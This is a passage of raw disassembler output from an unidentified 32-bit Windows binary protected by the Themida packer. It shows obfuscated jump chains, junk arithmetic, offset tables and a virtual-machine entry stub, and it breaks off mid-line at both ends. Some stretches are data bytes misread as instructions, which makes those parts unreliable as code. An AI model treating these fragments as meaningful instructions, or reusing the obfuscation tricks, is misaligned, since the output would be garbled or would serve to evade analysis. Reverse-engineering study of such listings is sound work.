--------------------------------------------------------------------------- loc_598352: ; CODE XREF: sub_59196D-27Ej ; sub_59196D:loc_5941C2j pop esp jmp loc_5969FA ; --------------------------------------------------------------------------- loc_598358: ; CODE XREF: sub_59196D+69AAj push 1D21h mov [esp+14h+var_16+2], eax push 60422ECDh jmp loc_59111B ; --------------------------------------------------------------------------- loc_59836A: ; CODE XREF: sub_59196D-5FEBj push ecx mov ecx, 359F579Fh jmp loc_59592E ; --------------------------------------------------------------------------- loc_598375: ; CODE XREF: sub_59196D-DDj neg ecx shl ecx, 8 add ecx, 30AC2911h jmp loc_5934CF ; --------------------------------------------------------------------------- loc_598385: ; CODE XREF: sub_59196D-34DAj ; sub_59196D+9CFj sub esi, 0FFFFFFFFh shr esi, 1 shr esi, 5 push edx mov edx, 75BDB79Ch add esi, edx push [esp+1Ch+var_1E+2] mov edx, [esp+20h+var_22+2] add esp, 4 add esp, 4 xor eax, esi mov esi, [esp+18h+var_1A+2] push edx jmp loc_58EC39 ; --------------------------------------------------------------------------- loc_5983B2: ; CODE XREF: sub_59196D+6214j mov cx, bx pop ebx add ax, cx pop cx jmp loc_58C918 ; --------------------------------------------------------------------------- loc_5983C0: ; CODE XREF: sub_59196D-47B7j pop ebp add ebp, 4D6E69F1h pop ecx mov edi, [esp+14h+var_16+2] jmp loc_597971 ; --------------------------------------------------------------------------- loc_5983D0: ; CODE XREF: sub_59196D-138Bj ; sub_59196D-248j sub edx, esi add edx, 61863996h add edx, 52596B1Eh push ebp mov ebp, 81607EFh dec ebp not ebp inc ebp or ebp, 532A234Ch xor ebp, 0FFB8A15Eh sub edx, ebp jmp loc_58D1EA ; --------------------------------------------------------------------------- loc_5983FB: ; CODE XREF: sub_59196D-54D5j pop eax jmp loc_597795 ; --------------------------------------------------------------------------- loc_598401: ; CODE XREF: sub_59196D+48B1j pop [esp+20h+var_22+2] push edi push ebx push ecx mov ecx, 1A37026Ah sub ecx, 1A2DB379h mov ebx, ecx pop ecx jmp loc_5933EF sub_59196D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_59841A: ; CODE XREF: sub_59196D+35Ej pop edi add edx, 41AE7914h jmp loc_595F7B ; --------------------------------------------------------------------------- loc_598426: ; CODE XREF: sub_59196D-3755j and eax, ebp jmp loc_597AD1 ; --------------------------------------------------------------------------- loc_59842D: ; CODE XREF: sub_59196D-5D72j mov [esp+28h+var_2A+2], ebp push esp pop ebp sub esp, 4 jmp loc_596A8A ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_59843D proc near ; CODE XREF: sub_59196D+1B54j ; FUNCTION CHUNK AT 0058BB65 SIZE 0000000A BYTES sub esp, 4 jmp loc_58BB65 sub_59843D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_598445: ; CODE XREF: sub_59196D-572j push 6205h mov [esp+4Ch+var_4E+2], ecx mov ecx, 2B04204Fh dec ecx jge loc_595970 add ecx, 0D4FBDFB6h mov eax, ecx mov ecx, [esp+4Ch+var_4E+2] loc_598464: ; CODE XREF: sub_59196D+4A4Bj add ebx, eax sub ebx, 381702B7h add ebx, 2D227159h jmp loc_5903EA ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_598477 proc near ; CODE XREF: sub_59196D-425Ej push ebp mov ebp, 91F5464h add ebp, 321F7695h push edi mov edi, 5C4A1AEFh sub edi, 4AC9B149h add ebp, edi pop edi inc ebp add ebp, 0B340CB64h add ecx, ebp jmp loc_5922BB sub_598477 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_5984A0: ; CODE XREF: sub_59196D+5D17j and ebx, 0F8146BBh jnb loc_59361E sub ebx, 9C148D21h mov ah, 28h push eax loc_5984B6: ; CODE XREF: sub_59196D+150Cj pop esp push ecx mov ecx, 766A0C77h sub eax, ecx pop ecx push ebx push eax mov eax, 6F4D2608h jmp loc_59097B ; --------------------------------------------------------------------------- loc_5984CC: ; CODE XREF: sub_59196D+2293j mov [esp+1Ch+var_1E+2], eax jmp loc_58D1FB ; --------------------------------------------------------------------------- loc_5984D4: ; CODE XREF: sub_59196D+1C2j xor edi, 0CD9E54Ah jmp loc_58EEBF ; --------------------------------------------------------------------------- loc_5984DF: ; CODE XREF: sub_59196D-6385j mov ebp, 10845853h mov ebx, ebp pop ebp and ebx, 4D777DE8h jl loc_5911F7 sub ebx, 0FFFFFFFFh shr ebx, 7 jz loc_58BDA9 jmp loc_58E89C ; --------------------------------------------------------------------------- loc_598507: ; CODE XREF: sub_59196D-79Fj xor ecx, 6AB25BB1h sub ecx, 83616976h shr ecx, 4 push 2650h mov [esp+3Eh+var_40+2], esi mov esi, 6DC42915h sub ecx, 3CFF23D7h sub ecx, esi add ecx, 3CFF23D7h jmp loc_591008 ; --------------------------------------------------------------------------- loc_598536: ; CODE XREF: sub_59196D+5D76j mov cl, 1Ch jmp loc_593268 ; --------------------------------------------------------------------------- loc_59853D: ; CODE XREF: sub_59196D-17D0j xor ebx, 0E226B584h sub eax, ebx pop ebx jmp sub_590717 ; --------------------------------------------------------------------------- loc_59854B: ; CODE XREF: sub_59196D-44DAj xor edi, 0A7B55F74h mov ebp, edi pop edi jmp loc_596463 ; --------------------------------------------------------------------------- loc_598559: ; CODE XREF: sub_59196D+1A3Fj mov edx, 28h add edx, edi jmp loc_5921B0 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- push dword ptr [edi+2Ch] jmp loc_58B37B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_59856D: ; CODE XREF: sub_59196D-365Ej push esi mov esi, 54D335EFh jmp loc_58C163 ; --------------------------------------------------------------------------- loc_598578: ; CODE XREF: sub_59196D-1EA9j xor eax, ebp jmp loc_58ED82 ; --------------------------------------------------------------------------- loc_59857F: ; CODE XREF: sub_59196D+2B8j push esi not [esp+10h+var_12+2] jmp loc_58BA16 ; --------------------------------------------------------------------------- loc_598588: ; CODE XREF: sub_59196D+33Ej push [esp+14h+var_16+2] mov ecx, [esp+18h+var_1A+2] jmp loc_58E717 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_598593: ; CODE XREF: Themida_:0058E620j push cx jmp loc_58E833 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_59859A: ; CODE XREF: sub_59196D+5B36j push edi mov edi, 617B2254h push ebp mov ebp, 0A0054Ah jmp loc_5928FF ; --------------------------------------------------------------------------- loc_5985AB: ; CODE XREF: sub_59196D+53E8j mov ebp, 18141694h and ebp, 76F90B2Bh push edi mov edi, 4FD4A4Ah and edi, 6250E60h jmp loc_595A04 ; --------------------------------------------------------------------------- loc_5985C7: ; CODE XREF: sub_59196D+490j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+0Ch+var_C] jmp loc_593A4C ; --------------------------------------------------------------------------- loc_5985DD: ; CODE XREF: sub_59196D+3A0j add ebx, esi pop esi sub esp, 4 mov [esp+18h+var_1A+2], ebx push [esp+18h+var_16+2] pop ebx pop [esp+18h+var_1A+2] pop esp jmp loc_58FA37 ; --------------------------------------------------------------------------- loc_5985F7: ; CODE XREF: sub_59196D-3ACEj pop [esp+34h+var_36+2] jmp loc_58F4A0 ; --------------------------------------------------------------------------- loc_5985FF: ; CODE XREF: sub_59196D-1C7Fj add edi, 4 add edi, 4 jmp loc_592E01 ; --------------------------------------------------------------------------- loc_59860D: ; CODE XREF: sub_59196D+5BA4j pop ecx push 376Eh mov [esp+36h+var_36], ebx jmp loc_58DC8A ; --------------------------------------------------------------------------- loc_59861B: ; CODE XREF: sub_59196D+201Bj add dl, bl pop ebx add al, dl jmp loc_59105E ; --------------------------------------------------------------------------- loc_598625: ; CODE XREF: sub_59196D-2F38j ; sub_59196D+38C9j xor eax, ecx xor eax, ecx xor ecx, eax xor eax, ecx push ecx not [esp+18h+var_1A+2] pop ecx push eax sub esp, 4 mov [esp+1Ch+var_1E+2], ecx push [esp+1Ch+var_1E+2] pop eax jmp loc_58B9DE ; --------------------------------------------------------------------------- loc_598642: ; CODE XREF: sub_59196D-402Dj and esi, 491E2E55h add esi, 0BFE1F5F2h jmp loc_58E4A3 ; --------------------------------------------------------------------------- loc_598653: ; CODE XREF: sub_59196D+2153j xor [esp+2Ah+var_2A], eax xor eax, [esp+2Ah+var_2A] jmp loc_5959BA ; --------------------------------------------------------------------------- loc_59865E: ; CODE XREF: sub_59196D+3188j xchg esi, [esp+32h+var_32] jmp loc_58D0C9 ; --------------------------------------------------------------------------- loc_598666: ; CODE XREF: sub_59196D-5543j jmp loc_58B37B ; --------------------------------------------------------------------------- loc_59866B: ; CODE XREF: sub_59196D+20DAj xor ah, dh xor dh, ah xchg cl, ah not cl xchg cl, ah xchg ah, dh jmp loc_594C4D ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- dd 0FFFF91ECh, 5F34C2h, 12FF4Ch, 7C90EB94h, 2672h, 5F4070h dd 0F85E3441h, 213h, 2, 1, 2, 0F85E3441h, 5 dup(0) dd offset loc_59D944 dd offset loc_5A0E6C dd offset loc_5A0054 dd offset loc_5A3C06 dd offset loc_59D58E dd offset loc_5A7E52 dd offset loc_59C424 dd offset loc_5A7544 dd offset loc_5AF010 dd offset loc_59F582 dd offset loc_5AE388 dd offset loc_5AF5BC dd offset loc_5A8652 dd offset loc_5A1B0A dd offset loc_5A7BF8 dd offset loc_5A29BF ; --------------------------------------------------------------------------- jmp short loc_598754 ; --------------------------------------------------------------------------- dw 5Ah dd offset loc_5AC00E dd offset loc_5A7CFB dd offset loc_59A133 dd offset byte_5A571F dd offset loc_5A2595 dd offset loc_599BF1 dd offset loc_599456 dd offset loc_59B2A0 dd offset byte_5AF9DD dd offset loc_5A14B7 dd offset loc_5A68CE dd offset loc_59947B dd offset loc_5A7C8A dd offset off_5AF3B3 dd offset loc_5A24F3 dd offset loc_59B85F dd offset loc_5A0820 dd offset loc_5A6A62 dd offset loc_5A8213 dd offset loc_5AC8A6 ; --------------------------------------------------------------------------- loc_598754: ; CODE XREF: Themida_:00598700j cmp al, 0DCh pop ecx add [eax+6C005A2Dh], ch call near ptr 0AF0187BCh pop edx add [edx], cl and al, 5Ah add [eax+5B0059BFh], al rcr byte ptr [edx+0], 90h mov ch, 5Ah add [esi], ah retn ; --------------------------------------------------------------------------- pop edx add [eax+ebp*4+5Ah], ah add [edi], bh leave pop edx add [ebx], bl cmc pop ecx add [ebx-20h], al pop ecx add [esi-4Eh], dh pop edx add [esp+ecx*2], cl pop edx add [ebp-5Dh], dl pop edx add [edi-25FFA55Fh], dl jmp short loc_5987F4 ; --------------------------------------------------------------------------- align 4 dd offset loc_5A2ACC ; --------------------------------------------------------------------------- retn 5A17h ; --------------------------------------------------------------------------- align 4 dd offset loc_59EC17 dd offset loc_5A20FB dd offset loc_5AE202 dd offset loc_5A69FB dd offset loc_5AB93E dd offset loc_5A457B dd offset loc_5AF529 dd offset loc_5ADC7E dd offset loc_59D3E7 dd offset loc_5AD13E dd offset loc_5A98C5 dd offset loc_5AF9D0 dd offset loc_5A6F32 dd offset loc_5A0A23 dd offset loc_5A4886 dd offset loc_5A09BF dd offset loc_5AD448 dd offset loc_5A25BF dd offset loc_5AF7A5 dd offset loc_59E73C ; --------------------------------------------------------------------------- loc_5987F4: ; CODE XREF: Themida_:00598799j dec ebx cmpsd pop ecx add ds:0D10059A4h, bh test eax, 42930059h pop edx add bl, bl lock pop ecx add [esi-1Eh], dl pop edx add [ebx-3Ah], dh pop ecx add bl, ah xor ebx, [edx+0] cwde xor ebx, [edx+0] insd neg byte ptr [edx+0] pop ebp jmp short loc_598879 ; --------------------------------------------------------------------------- align 10h dd offset loc_5A3820 dd offset loc_59B9F7 dd offset byte_5AC685 dd offset loc_5A8881 dd offset loc_5A3A08 dd offset loc_5994AE dd offset loc_5A103A dd offset loc_5A77BE dd offset loc_5A52AE dd offset loc_59B540 dd offset loc_5A91AF dd offset loc_59CF34 dd offset loc_599102 dd offset loc_5A69DC dd offset loc_5A16E4 dd offset loc_5ADC50 dd offset loc_59BFF3 dd offset loc_59EB1B dd offset loc_5AC0B4 dd offset loc_5A23AA dd offset loc_5A30F9 dd offset loc_5ADD8D db 2 ; --------------------------------------------------------------------------- loc_598879: ; CODE XREF: Themida_:0059881Dj test eax, 0CBBD0059h pop edx add [eax+ecx+5Ah], bl add [edx-0AFFA64Dh], bl db 64h pop edx add [esi+2Bh], al pop edx add [eax], dh xchg eax, ecx pop edx add [edi-38h], bl pop ecx add [edi-3Eh], ah pop edx add [ebp+0Dh], ch pop edx add [esi-6Ah], dh pop edx add [ebx+64005A21h], dh pop ss pop edx add [edi-6Bh], dl pop edx add [ebx-76h], ah pop edx add [edx], al setalc pop edx add cl, dh stosd pop edx add [edi+ebp*8-13B2FFA6h], dl pop ecx add dh, al mov ds:0E0450059h, eax pop edx add ds:74005A4Fh, bl insb pop edx add [edi], dl jnz short loc_598931 add [eax+7E005A67h], bl fstp dword ptr [ecx+0] mov es, word ptr [edx+1213005Ah] pop edx add [ecx], ah ; --------------------------------------------------------------------------- db 8Fh, 5Ah, 0 dd offset loc_59EE04 dd offset loc_5A2679 dd offset loc_5A73EC ; --------------------------------------------------------------------------- shr dword ptr [ebx], 1 pop edx add dl, cl rcr dword ptr [ecx+0], cl db 36h mov esp, 57560059h pop edx add [edx], ch mov byte ptr [ecx+0], 4 mov dword ptr [ecx+0], offset loc_5A6105 movsb movsd pop ecx add [edx+edi], ch pop edx add [edx-25FFA504h], ah das pop edx add ds:99005AB9h, ch sti pop edx add [ebp-5Ch], ch pop edx add [ebx], bl loc_598931: ; CODE XREF: Themida_:005988D5j int 5Ah ; Cluster adapter BIOS entry address add ds:64005A66h, al mov bl, 59h add bh, dh out 5Ah, eax add al, ah mov al, 59h add [edx-26h], cl pop edx add [ecx+460059AFh], ch imul ebx, [edx+0], 5A21EDh push 0FFFFFFC0h pop edx add ah, dh dec edi pop edx ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_59895C: ; CODE XREF: Themida_:005DAF1Aj ; Themida_:005DAF24j ... pusha pushf cld call $+5 pop edi sub edi, 7FB5523h mov eax, edi add edi, 7FB523Bh cmp eax, [edi+2Ch] jnz short loc_59897A jmp short loc_59898D ; --------------------------------------------------------------------------- loc_59897A: ; CODE XREF: Themida_:00598976j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_598989 ; --------------------------------------------------------------------------- loc_598984: ; CODE XREF: Themida_:0059898Bj add [edi+ecx*4+40h], eax dec ecx loc_598989: ; CODE XREF: Themida_:00598982j or ecx, ecx jnz short loc_598984 loc_59898D: ; CODE XREF: Themida_:00598978j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_59899A: ; CODE XREF: Themida_:005989A1j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_59899A loc_5989A3: ; CODE XREF: Themida_:00598A24j ; Themida_:00598D57j ... lodsb push 4F87h mov [esp], edx jmp loc_5A41D5 ; --------------------------------------------------------------------------- loc_5989B1: ; CODE XREF: Themida_:005ABB86j pop ebp add ebp, 4 jmp loc_5AEAC1 ; --------------------------------------------------------------------------- loc_5989BD: ; CODE XREF: Themida_:0059BB15j pop edi add esi, 50BC705Dh sub esi, ecx jmp loc_59DFDF ; --------------------------------------------------------------------------- loc_5989CB: ; CODE XREF: Themida_:005999A9j ; Themida_:0059DD2Bj sub ebp, 36B5EE9h sub ebp, 36D6444Eh inc ebp dec ebp sub ebp, 1FFAA478h add ebx, ebp jmp loc_59DE4D ; --------------------------------------------------------------------------- loc_5989E6: ; CODE XREF: Themida_:005AC283j pop ebp add eax, ebp sub eax, 38E64255h pop ebp push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] jmp loc_5A8B31 ; --------------------------------------------------------------------------- loc_5989FD: ; CODE XREF: Themida_:005A1094j sub edx, esi add edx, 358C6F91h pop esi mov ecx, [esp] add esp, 4 xchg edx, [esp] pop esp mov ax, [esp] push ebx mov ebx, esp jmp loc_59E5F4 ; --------------------------------------------------------------------------- loc_598A1F: ; CODE XREF: Themida_:005A3014j shr word ptr [esp], cl pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_598A29: ; CODE XREF: Themida_:005A98A4j sub eax, 4 xchg eax, [esp] pop esp mov [esp], eax mov eax, 37E95517h jmp loc_5A75EE ; --------------------------------------------------------------------------- loc_598A3D: ; CODE XREF: Themida_:loc_59A5B6j xor esi, 484579B0h push edx jmp loc_5A4D88 ; --------------------------------------------------------------------------- loc_598A49: ; CODE XREF: Themida_:0059DE92j add edi, edx pop edx push 2880h mov [esp], edx mov edx, 271E0F5Fh and edx, 6A0815F9h push eax mov eax, 3A7F3325h push esi push eax jmp loc_5AA138 ; --------------------------------------------------------------------------- loc_598A6C: ; CODE XREF: Themida_:loc_5AFCF1j push ebx mov ebx, 0BA8E706Fh xor esi, ebx pop ebx mov ebp, esi pop esi add edx, ebp pop ebp sub esp, 4 mov [esp], ebx mov ebx, 0D56DFFFFh xor edx, ebx push dword ptr [esp] pop ebx add esp, 4 and eax, edx mov edx, [esp] push ebx jmp loc_5A6052 ; --------------------------------------------------------------------------- loc_598A9D: ; CODE XREF: Themida_:005A9353j add dl, 62h push ecx jmp loc_5A5B52 ; --------------------------------------------------------------------------- loc_598AA6: ; CODE XREF: Themida_:loc_59B02Dj and edi, 35C641F7h js loc_59CF8B xor edi, 3ED48CA4h push edi pop esi mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp add eax, 7DFA0BB8h sub eax, 4BF30CB1h sub eax, esi jmp loc_5A3B52 ; --------------------------------------------------------------------------- loc_598AE1: ; CODE XREF: Themida_:0059CBCBj add esp, 4 push ebx mov ebx, 24ED64ECh add ebx, 0FFFFFFFFh shl ebx, 8 not ebx dec ebx not ebx xor ebx, 998BC55Eh sub esi, ebx pop ebx push 57FFh mov [esp], esi add dword ptr [esp], 46C44866h mov eax, [esp] add esp, 4 sub eax, 46C44866h push dword ptr [esp] jmp loc_5AEECD ; --------------------------------------------------------------------------- loc_598B23: ; CODE XREF: Themida_:005A7623j add dword ptr [esp], 4 jmp loc_5AE9C1 ; --------------------------------------------------------------------------- loc_598B2C: ; CODE XREF: Themida_:005A2E8Fj pop eax sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebx jmp loc_5A2CF4 ; --------------------------------------------------------------------------- loc_598B3C: ; CODE XREF: Themida_:005A4E14j and cx, bp pop bp xor cx, 4ECEh jmp loc_59A223 ; --------------------------------------------------------------------------- loc_598B4B: ; CODE XREF: Themida_:0059F020j xchg ecx, [esp] pop esp sub bl, 27h jmp loc_5AAB57 ; --------------------------------------------------------------------------- loc_598B57: ; CODE XREF: Themida_:005AA9DDj push 7D5Ah jmp loc_5A3767 ; --------------------------------------------------------------------------- loc_598B61: ; CODE XREF: Themida_:005A916Dj pop ebx push ebp xchg edi, [esp] not edi xchg edi, [esp] mov ebp, [esp] add esp, 4 add ebp, 1E4B05C6h jmp loc_5A97BD ; --------------------------------------------------------------------------- loc_598B7F: ; CODE XREF: Themida_:0059A3E2j mov ebp, 11DC795Fh dec ebp add ebp, 0CEE30DDh jmp loc_5A58E7 ; --------------------------------------------------------------------------- loc_598B90: ; CODE XREF: Themida_:005A9C3Cj xor eax, 0DDC1F8BEh add edx, 469A3F2Ch sub edx, eax sub edx, 469A3F2Ch jmp loc_598CF2 ; --------------------------------------------------------------------------- loc_598BA8: ; CODE XREF: Themida_:005A5022j add ecx, 4 xchg ecx, [esp] jmp loc_5A18C9 ; --------------------------------------------------------------------------- loc_598BB3: ; CODE XREF: Themida_:005A694Dj add edi, 4 jmp loc_59CAA0 ; --------------------------------------------------------------------------- loc_598BBE: ; CODE XREF: Themida_:005AC93Aj sub ecx, 4 jmp loc_59CC20 ; --------------------------------------------------------------------------- loc_598BC6: ; CODE XREF: Themida_:005A8401j push edi pop edx mov edi, [esp] add esp, 4 loc_598BCE: ; CODE XREF: Themida_:005A3D26j ; Themida_:005A608Dj sub esp, 4 mov [esp], ebp jmp loc_5A0185 ; --------------------------------------------------------------------------- loc_598BD9: ; CODE XREF: Themida_:005A6A93j push ecx mov ecx, 29DC5918h xor ecx, 49473D62h sub esi, ecx pop ecx jmp loc_5A74AB ; --------------------------------------------------------------------------- loc_598BED: ; CODE XREF: Themida_:005A49EEj add eax, 0AF474029h jmp loc_5A908C ; --------------------------------------------------------------------------- loc_598BF7: ; CODE XREF: Themida_:005AF3E5j sub ebx, edi add ebx, 4A296107h pop edi jmp loc_59AEE3 ; --------------------------------------------------------------------------- loc_598C05: ; CODE XREF: Themida_:005A7F94j push bx mov bh, 0C1h add al, bh pop bx pop dx push small 4F0Dh jmp loc_5A12C3 ; --------------------------------------------------------------------------- loc_598C18: ; CODE XREF: Themida_:005A832Dj pop ebp pop dword ptr [esp] pop esp sub eax, ebx sub esp, 4 mov [esp], ebx mov ebx, 2FC919C8h add eax, ebx pop ebx sub esp, 4 jmp loc_5A7CE8 ; --------------------------------------------------------------------------- loc_598C38: ; CODE XREF: Themida_:005A4E8Bj sub esp, 4 mov [esp], edx mov dh, 0C9h sub dh, 0C5h add ch, dh mov edx, [esp] add esp, 4 xor al, ch jmp loc_5ADF00 ; --------------------------------------------------------------------------- loc_598C55: ; CODE XREF: Themida_:005A7F8Dj mov [esp], edi push esi push ebp jmp loc_5AF59D ; --------------------------------------------------------------------------- loc_598C5F: ; CODE XREF: Themida_:005A3105j jmp loc_5A91ED ; --------------------------------------------------------------------------- loc_598C64: ; CODE XREF: Themida_:005A5EECj or ch, al pop eax inc ch jmp loc_5AB4BF ; --------------------------------------------------------------------------- loc_598C6E: ; CODE XREF: Themida_:005AE567j inc ebp neg ebp xor ebp, 2D0917B7h mov edx, ebp pop ebp add edx, esi pop esi shl edx, 8 shl edx, 6 push ebp push esi push 145718F9h pop esi shl esi, 4 jp loc_5AFCF1 jmp loc_5A3684 ; --------------------------------------------------------------------------- sub dh, 0BAh sub al, 4Eh pop ecx loc_598C9F: ; CODE XREF: Themida_:005A7E4Dj sub edx, edi pop edi add edx, eax jmp loc_59F56E ; --------------------------------------------------------------------------- loc_598CA9: ; CODE XREF: Themida_:005A4453j ; Themida_:005A997Fj add esi, 1 jmp loc_5A12DA ; --------------------------------------------------------------------------- loc_598CB4: ; CODE XREF: Themida_:005AB8D4j pop dword ptr [esp] jmp loc_5A2D20 ; --------------------------------------------------------------------------- loc_598CBC: ; CODE XREF: Themida_:0059BC60j pop ebx sub ebx, 3C06FFCCh and ecx, ebx pop ebx push edi mov edi, 0E6C2764h jmp loc_5A5BEF ; --------------------------------------------------------------------------- loc_598CD1: ; CODE XREF: Themida_:005A31E6j push ebx mov ebx, 2F7B1708h shr ebx, 5 jmp loc_59E97B ; --------------------------------------------------------------------------- loc_598CDF: ; CODE XREF: Themida_:005A9EBCj mov ebp, [esp] add esp, 4 shr ebp, 2 push 1622h jmp loc_5A5405 ; --------------------------------------------------------------------------- loc_598CF2: ; CODE XREF: Themida_:00598BA3j pop eax xor eax, edx pop edx sub esp, 4 mov [esp], edx jmp loc_59B577 ; --------------------------------------------------------------------------- loc_598D01: ; CODE XREF: Themida_:005A2B2Aj ; Themida_:005AE195j pop edi xor edi, 799216CEh sub ebx, 3E87882h sub ebx, 1C691E58h jmp loc_5A860A ; --------------------------------------------------------------------------- loc_598D19: ; CODE XREF: Themida_:0059B8B6j jmp loc_5A932C ; --------------------------------------------------------------------------- loc_598D1E: ; CODE XREF: Themida_:0059D824j or ebx, 3573037Ah not ebx push edx mov edx, 58F5177h add ebx, edx pop edx sub edx, ebx pop ebx sub edx, esi add edx, 4D975D7Ch mov esi, [esp] add esp, 4 jmp loc_5A7FC2 ; --------------------------------------------------------------------------- loc_598D48: ; CODE XREF: Themida_:0059C625j push small 67C4h mov [esp], cx movzx cx, al push cx pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_598D5C: ; CODE XREF: Themida_:005A3A0Cj mov esi, esp push edi mov edi, 404455D6h jmp loc_5AD2AF ; --------------------------------------------------------------------------- loc_598D69: ; CODE XREF: Themida_:005AF35Bj xor edx, eax pop eax add edx, 8E189AC0h add esi, edx pop edx push esi push dword ptr [esp+4] jmp loc_5AF1E6 ; --------------------------------------------------------------------------- loc_598D7F: ; CODE XREF: Themida_:005A7D64j mov ebx, 4 add edx, 7FE030F0h jmp loc_5AFE2F ; --------------------------------------------------------------------------- loc_598D8F: ; CODE XREF: Themida_:0059A2E9j push dword ptr [esp] jmp loc_5AEDFC ; --------------------------------------------------------------------------- loc_598D97: ; CODE XREF: Themida_:0059AA88j jmp loc_5AEBEA ; --------------------------------------------------------------------------- loc_598D9C: ; CODE XREF: Themida_:loc_5A08A8j sub eax, 9E3AE294h jmp loc_5A6C1F ; --------------------------------------------------------------------------- loc_598DA6: ; CODE XREF: Themida_:005AD190j mov ah, bh jmp loc_59F10B ; --------------------------------------------------------------------------- loc_598DAD: ; CODE XREF: Themida_:005A3212j shr esi, 8 jmp loc_5A0799 ; --------------------------------------------------------------------------- loc_598DB5: ; CODE XREF: Themida_:005AE28Dj mov edi, 79940867h dec edi dec edi push edx push ecx mov ecx, 683E6BB7h or ecx, 11BA3D55h add ecx, 4B6541CDh jnb loc_59D1BF not ecx inc ecx jp loc_5A7847 mov bl, 49h and al, 50h loc_598DE2: ; CODE XREF: Themida_:005A462Bj xor eax, 66C06079h xor eax, 2AFD73C9h add edx, eax jmp loc_59AD8E ; --------------------------------------------------------------------------- loc_598DF3: ; CODE XREF: Themida_:005AF0F0j shl edx, 1 push ebp mov ebp, esp push ebx mov ebx, 4 jmp loc_5AEBF7 ; --------------------------------------------------------------------------- loc_598E03: ; CODE XREF: Themida_:005AA1EDj push ebp jmp loc_5A762F ; --------------------------------------------------------------------------- loc_598E09: ; CODE XREF: Themida_:005A4788j add ch, 0DEh jmp loc_5A1CA2 ; --------------------------------------------------------------------------- loc_598E11: ; CODE XREF: Themida_:loc_59AA7Cj sub cl, 0D3h mov ah, cl pop ecx xor ah, bl xor bl, ah xor ah, bl not bl xchg bl, ah jmp loc_5AF08E ; --------------------------------------------------------------------------- loc_598E26: ; CODE XREF: Themida_:0059CD62j pop ebp add edx, 4 xchg edx, [esp] pop esp push esi mov esi, 327730E8h or esi, 0A1D7F65h not esi neg esi not esi jmp loc_5A9E52 ; --------------------------------------------------------------------------- loc_598E45: ; CODE XREF: Themida_:0059F57Dj add edx, 4F197A6Ah sub edx, 0D14023Eh push edi mov edi, 324C0DB1h jmp loc_5A592A ; --------------------------------------------------------------------------- loc_598E5C: ; CODE XREF: Themida_:005AFB50j mov [esp], edx push dword ptr [esp+4] mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5AF6E3 ; --------------------------------------------------------------------------- loc_598E77: ; CODE XREF: Themida_:005A0C66j sub bl, ch push ecx jmp loc_59A763 ; --------------------------------------------------------------------------- loc_598E7F: ; CODE XREF: Themida_:005A63FBj pop ebx add ecx, ebx jmp loc_5AC10C ; --------------------------------------------------------------------------- loc_598E87: ; CODE XREF: Themida_:00599DFFj ; Themida_:0059F899j push dword ptr [esp] pop eax add esp, 4 push dword ptr [esp] jmp loc_59D694 ; --------------------------------------------------------------------------- loc_598E99: ; CODE XREF: Themida_:005AB37Fj or eax, 3C8E1A1Bh jmp loc_59BA2E ; --------------------------------------------------------------------------- loc_598EA3: ; CODE XREF: Themida_:005AA36Fj add esp, 4 xchg ebx, [esp] mov esp, [esp] mov ax, [esp] push 3552h mov [esp], esi jmp loc_5A0C8F ; --------------------------------------------------------------------------- loc_598EBD: ; CODE XREF: Themida_:005A78ECj mov ecx, [esp] add esp, 4 push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_599CDA ; --------------------------------------------------------------------------- loc_598EDA: ; CODE XREF: Themida_:005A0FEBj mov si, [esp] push esi mov esi, esp jmp loc_59C5FA ; --------------------------------------------------------------------------- loc_598EE6: ; CODE XREF: Themida_:005A1D93j dec eax shr eax, 8 sub esp, 4 mov [esp], ebp mov ebp, 0DEB6A363h add eax, ebp pop ebp add ecx, eax push dword ptr [esp] pop eax add esp, 4 mov edx, ecx pop ecx jmp loc_5A7062 ; --------------------------------------------------------------------------- loc_598F0C: ; CODE XREF: Themida_:005A8E3Dj push ecx mov ch, bl mov ah, ch pop ecx mov dh, ah pop eax mov bl, ch mov ch, dh pop edx not bl push 630Dh jmp loc_5AC0E2 ; --------------------------------------------------------------------------- loc_598F26: ; CODE XREF: Themida_:0059E21Bj not dword ptr [esp] jmp loc_5A8617 ; --------------------------------------------------------------------------- loc_598F2E: ; CODE XREF: Themida_:005AF769j mov cl, 0CEh mov dh, 0F9h add dh, cl pop ecx sub al, 0A5h jmp loc_5AF13B ; --------------------------------------------------------------------------- loc_598F3C: ; CODE XREF: Themida_:0059A4DCj mov ebp, 3D8205B9h not ebp xor ebp, 0A764BB39h jmp loc_5AB1DB ; --------------------------------------------------------------------------- loc_598F4E: ; CODE XREF: Themida_:005A2D86j add edx, 0B454A76Dh jmp loc_59B5FB ; --------------------------------------------------------------------------- loc_598F59: ; CODE XREF: Themida_:0059C884j pop edx sub edi, 4 xchg edi, [esp] pop esp mov [esp], edx push esp mov edx, [esp] add esp, 4 push ebp jmp loc_5A3BC8 ; --------------------------------------------------------------------------- loc_598F74: ; CODE XREF: Themida_:005A7AAFj xchg ecx, [esp] mov esp, [esp] jmp loc_5A1776 ; --------------------------------------------------------------------------- loc_598F7F: ; CODE XREF: 